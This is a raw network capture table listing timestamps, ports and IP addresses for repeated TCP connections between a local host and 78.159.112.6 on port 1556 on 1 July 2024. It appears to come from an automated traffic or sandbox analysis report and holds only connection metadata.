Jul 1, 2024 15:44:36.825143099 CEST	1556	49720	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:36.825275898 CEST	49720	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:39.792267084 CEST	49720	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:39.793735027 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:39.797101974 CEST	1556	49720	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:39.798590899 CEST	1556	49721	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:39.798701048 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:39.809118032 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:39.813913107 CEST	1556	49721	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:41.436439991 CEST	1556	49721	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:41.436530113 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.511019945 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.512226105 CEST	49722	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.823537111 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.855576038 CEST	1556	49721	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:44.855588913 CEST	1556	49722	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:44.855601072 CEST	1556	49721	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:44.855689049 CEST	49722	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.855720043 CEST	49721	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.866398096 CEST	49722	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:44.872030020 CEST	1556	49722	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:46.497076988 CEST	1556	49722	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:46.497168064 CEST	49722	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:48.370469093 CEST	49722	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:48.372467041 CEST	49723	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:48.375643969 CEST	1556	49722	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:48.377352953 CEST	1556	49723	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:48.377476931 CEST	49723	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:48.387748957 CEST	49723	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:48.392647982 CEST	1556	49723	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:50.052340984 CEST	1556	49723	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:50.052495956 CEST	49723	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:52.839252949 CEST	49723	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:52.840643883 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:52.844103098 CEST	1556	49723	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:52.845606089 CEST	1556	49724	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:52.845710039 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:52.856513023 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:52.877794981 CEST	1556	49724	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:54.514092922 CEST	1556	49724	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:54.514170885 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:57.917396069 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:57.918433905 CEST	49726	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:58.229892969 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:58.237092018 CEST	1556	49724	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:58.237111092 CEST	1556	49726	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:58.237123966 CEST	1556	49724	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:58.237224102 CEST	49726	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:58.237246037 CEST	49724	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:58.247431040 CEST	49726	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:44:58.259584904 CEST	1556	49726	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:59.932590961 CEST	1556	49726	78.159.112.6	192.168.2.7
Jul 1, 2024 15:44:59.936233044 CEST	49726	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:01.901797056 CEST	49726	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:01.903187037 CEST	49727	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:01.906689882 CEST	1556	49726	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:01.907999039 CEST	1556	49727	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:01.908188105 CEST	49727	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:01.918482065 CEST	49727	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:01.923331976 CEST	1556	49727	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:03.565586090 CEST	1556	49727	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:03.565674067 CEST	49727	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:05.933136940 CEST	49727	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:05.934444904 CEST	49729	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:05.941061974 CEST	1556	49727	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:05.941081047 CEST	1556	49729	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:05.941200972 CEST	49729	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:05.952225924 CEST	49729	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:05.957020998 CEST	1556	49729	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:07.990617037 CEST	1556	49729	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:07.990760088 CEST	49729	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:07.990894079 CEST	1556	49729	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:07.990938902 CEST	49729	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:08.714277029 CEST	49729	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:08.715713978 CEST	49730	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:08.719505072 CEST	1556	49729	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:08.720519066 CEST	1556	49730	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:08.720608950 CEST	49730	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:08.733207941 CEST	49730	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:08.738002062 CEST	1556	49730	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:10.395364046 CEST	1556	49730	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:10.395518064 CEST	49730	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:12.026742935 CEST	49730	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:12.027899027 CEST	49731	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:12.031636000 CEST	1556	49730	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:12.032677889 CEST	1556	49731	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:12.032758951 CEST	49731	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:12.042342901 CEST	49731	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:12.047369957 CEST	1556	49731	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:13.689165115 CEST	1556	49731	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:13.689280033 CEST	49731	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:13.901801109 CEST	49731	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:13.903616905 CEST	49732	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:13.906646013 CEST	1556	49731	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:13.908452034 CEST	1556	49732	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:13.908536911 CEST	49732	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:13.929688931 CEST	49732	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:13.934489012 CEST	1556	49732	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:15.562014103 CEST	1556	49732	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:15.562100887 CEST	49732	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:17.058154106 CEST	49732	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:17.060638905 CEST	49733	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:17.063075066 CEST	1556	49732	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:17.068245888 CEST	1556	49733	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:17.068363905 CEST	49733	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:17.080671072 CEST	49733	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:17.085529089 CEST	1556	49733	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:18.737911940 CEST	1556	49733	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:18.737998962 CEST	49733	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:18.901741982 CEST	49733	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:18.902863979 CEST	49734	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:18.906702995 CEST	1556	49733	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:18.907752037 CEST	1556	49734	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:18.907835007 CEST	49734	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:18.917876959 CEST	49734	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:18.922662973 CEST	1556	49734	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:20.564233065 CEST	1556	49734	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:20.564311981 CEST	49734	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:20.683571100 CEST	49734	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:20.685321093 CEST	49735	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:20.688812017 CEST	1556	49734	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:20.690141916 CEST	1556	49735	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:20.690262079 CEST	49735	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:20.703469038 CEST	49735	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:20.708820105 CEST	1556	49735	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:22.365011930 CEST	1556	49735	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:22.365133047 CEST	49735	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:22.745651007 CEST	49735	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:22.747450113 CEST	49736	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:22.783488035 CEST	1556	49735	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:22.783515930 CEST	1556	49736	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:22.783643961 CEST	49736	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:22.794158936 CEST	49736	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:22.801795959 CEST	1556	49736	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:24.439553976 CEST	1556	49736	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:24.439646006 CEST	49736	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:24.908466101 CEST	49736	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:24.911046982 CEST	49737	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:24.923402071 CEST	1556	49736	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:24.926323891 CEST	1556	49737	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:24.926424980 CEST	49737	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:24.938134909 CEST	49737	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:24.949575901 CEST	1556	49737	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:26.579116106 CEST	1556	49737	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:26.579194069 CEST	49737	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:26.714375019 CEST	49737	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:26.720768929 CEST	1556	49737	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:27.342840910 CEST	49739	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:27.348098040 CEST	1556	49739	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:27.348192930 CEST	49739	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:27.358378887 CEST	49739	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:27.364517927 CEST	1556	49739	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:29.005672932 CEST	1556	49739	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:29.005768061 CEST	49739	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:29.060966969 CEST	49739	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:29.063317060 CEST	49740	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:29.065855026 CEST	1556	49739	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:29.068222046 CEST	1556	49740	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:29.068299055 CEST	49740	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:29.098993063 CEST	49740	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:29.112185955 CEST	1556	49740	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:30.734340906 CEST	1556	49740	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:30.736321926 CEST	49740	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:30.736645937 CEST	49740	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:30.738869905 CEST	49741	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:30.741391897 CEST	1556	49740	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:30.743686914 CEST	1556	49741	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:30.743765116 CEST	49741	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:30.753915071 CEST	49741	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:30.758867979 CEST	1556	49741	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:32.392047882 CEST	1556	49741	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:32.392142057 CEST	49741	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:36.042484999 CEST	49741	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:36.045967102 CEST	49742	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:36.047733068 CEST	1556	49741	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:36.050911903 CEST	1556	49742	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:36.051034927 CEST	49742	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:36.082113981 CEST	49742	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:36.087294102 CEST	1556	49742	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:37.701201916 CEST	1556	49742	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:37.701298952 CEST	49742	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:41.105032921 CEST	49742	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:41.108053923 CEST	49743	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:41.110198021 CEST	1556	49742	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:41.112983942 CEST	1556	49743	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:41.113209009 CEST	49743	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:41.153130054 CEST	49743	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:41.159068108 CEST	1556	49743	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:41.295408010 CEST	49743	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:41.300653934 CEST	1556	49743	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:42.768524885 CEST	1556	49743	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:42.772327900 CEST	49743	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:46.308274984 CEST	49743	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:46.313612938 CEST	1556	49743	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:46.318396091 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:46.323345900 CEST	1556	49744	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:46.323437929 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:46.412856102 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:46.417860031 CEST	1556	49744	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:46.667706966 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:46.864816904 CEST	1556	49744	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:47.480160952 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:47.485344887 CEST	1556	49744	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:47.970530033 CEST	1556	49744	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:47.972345114 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:51.605354071 CEST	49744	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:51.606700897 CEST	49745	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:51.610308886 CEST	1556	49744	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:51.611546993 CEST	1556	49745	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:51.611615896 CEST	49745	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:51.638427019 CEST	49745	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:51.643603086 CEST	1556	49745	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:53.268085003 CEST	1556	49745	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:53.268143892 CEST	49745	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:57.230007887 CEST	49745	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:57.233670950 CEST	49746	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:57.234955072 CEST	1556	49745	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:57.238574028 CEST	1556	49746	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:57.238662004 CEST	49746	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:57.337069988 CEST	49746	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:45:57.341984034 CEST	1556	49746	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:58.873528957 CEST	1556	49746	78.159.112.6	192.168.2.7
Jul 1, 2024 15:45:58.873611927 CEST	49746	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:02.480081081 CEST	49746	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:02.482690096 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:02.485255003 CEST	1556	49746	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:02.487636089 CEST	1556	49747	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:02.492362022 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:02.532728910 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:02.537913084 CEST	1556	49747	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:03.464010000 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:03.469858885 CEST	1556	49747	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:03.874742031 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:03.879908085 CEST	1556	49747	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:04.143187046 CEST	1556	49747	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:04.143250942 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.402019978 CEST	49747	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.403459072 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.407128096 CEST	1556	49747	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:08.408359051 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:08.408543110 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.438798904 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.444772959 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:08.733872890 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.738838911 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:08.932298899 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:08.937283039 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:09.995783091 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:10.000652075 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:10.092128038 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:10.092343092 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:13.667804003 CEST	49748	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:13.671952009 CEST	49749	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:13.672740936 CEST	1556	49748	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:13.677006006 CEST	1556	49749	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:13.677150965 CEST	49749	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:13.706228018 CEST	49749	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:13.711126089 CEST	1556	49749	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:14.882880926 CEST	49749	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:14.887713909 CEST	1556	49749	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:15.330153942 CEST	1556	49749	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:15.330219030 CEST	49749	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:19.058357954 CEST	49749	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:19.063196898 CEST	1556	49749	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:19.064168930 CEST	49750	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:19.069124937 CEST	1556	49750	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:19.069209099 CEST	49750	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:19.204005003 CEST	49750	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:19.210180044 CEST	1556	49750	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:20.477957964 CEST	49750	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:20.482855082 CEST	1556	49750	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:20.718513012 CEST	1556	49750	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:20.718589067 CEST	49750	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.232294083 CEST	49750	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.233891964 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.237333059 CEST	1556	49750	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:24.238851070 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:24.238957882 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.343533039 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.348797083 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:24.530944109 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.535948038 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:24.639694929 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.644573927 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:24.645677090 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.650451899 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:24.699253082 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:24.704113960 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:25.891463995 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:25.892350912 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:29.714935064 CEST	49751	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:29.719978094 CEST	1556	49751	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:29.844006062 CEST	49752	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:29.850411892 CEST	1556	49752	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:29.850943089 CEST	49752	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:29.901190996 CEST	49752	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:29.910473108 CEST	1556	49752	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:30.713623047 CEST	49752	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:30.719414949 CEST	1556	49752	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:31.501121044 CEST	1556	49752	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:31.501265049 CEST	49752	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:34.996000051 CEST	49752	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:34.998045921 CEST	49753	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:35.000888109 CEST	1556	49752	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:35.002857924 CEST	1556	49753	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:35.002943993 CEST	49753	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:35.029988050 CEST	49753	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:35.034857035 CEST	1556	49753	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:36.301177979 CEST	49753	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:36.306082010 CEST	1556	49753	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:36.658821106 CEST	1556	49753	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:36.658900976 CEST	49753	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.058825970 CEST	49753	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.061703920 CEST	49754	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.064784050 CEST	1556	49753	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:40.068172932 CEST	1556	49754	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:40.070614100 CEST	49754	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.258312941 CEST	49754	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.263217926 CEST	1556	49754	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:40.512862921 CEST	49754	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.518811941 CEST	1556	49754	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:40.791117907 CEST	49754	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:40.796093941 CEST	1556	49754	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:41.753314018 CEST	1556	49754	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:41.756452084 CEST	49754	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:45.292707920 CEST	49754	1556	192.168.2.7	78.159.112.6
